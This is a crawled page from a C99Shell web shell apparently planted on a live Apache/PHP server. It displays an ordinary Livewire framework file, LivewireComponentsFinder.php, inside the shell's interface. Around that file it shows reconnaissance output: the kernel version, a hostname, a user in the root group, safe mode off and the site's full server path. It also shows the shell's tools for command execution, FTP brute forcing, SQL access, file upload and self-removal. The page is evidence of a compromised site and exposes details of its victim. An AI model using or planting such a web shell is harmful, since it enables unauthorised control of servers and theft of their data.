!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LivewireComponentsFinder.php (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire;

use 
Exception;
use 
ReflectionClass;
use 
Illuminate\Filesystem\Filesystem;
use 
Symfony\Component\Finder\SplFileInfo;

class 
LivewireComponentsFinder
{
    protected 
$path;
    protected 
$files;
    protected 
$manifest;
    protected 
$manifestPath;

    public function 
__construct(Filesystem $files$manifestPath$path)
    {
        
$this->files $files;
        
$this->path $path;
        
$this->manifestPath $manifestPath;
    }

    public function 
find($alias)
    {
        
$manifest $this->getManifest();

        return 
$manifest[$alias] ?? $manifest["{$alias}.index"] ?? null;
    }

    public function 
getManifest()
    {
        if (! 
is_null($this->manifest)) {
            return 
$this->manifest;
        }

        if (! 
file_exists($this->manifestPath)) {
            
$this->build();
        }

        return 
$this->manifest $this->files->getRequire($this->manifestPath);
    }

    public function 
build()
    {
        
$this->manifest $this->getClassNames()
            ->
mapWithKeys(function ($class) {
                return [
$class::getName() => $class];
            })->
toArray();

        
$this->write($this->manifest);

        return 
$this;
    }

    protected function 
write(array $manifest)
    {
        if (! 
is_writable(dirname($this->manifestPath))) {
            throw new 
Exception('The '.dirname($this->manifestPath).' directory must be present and writable.');
        }

        
$this->files->put($this->manifestPath'<?php return '.var_export($manifesttrue).';'true);
    }

    public function 
getClassNames()
    {
        if (! 
$this->files->exists($this->path)) {
            return 
collect();
        }

        return 
collect($this->files->allFiles($this->path))
            ->
map(function (SplFileInfo $file) {
                return 
app()->getNamespace().
                    
str($file->getPathname())
                        ->
after(app_path().'/')
                        ->
replace(['/''.php'], ['\\'''])->__toString();
            })
            ->
filter(function (string $class) {
                return 
is_subclass_of($classComponent::class) &&
                    ! (new 
ReflectionClass($class))->isAbstract();
            });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--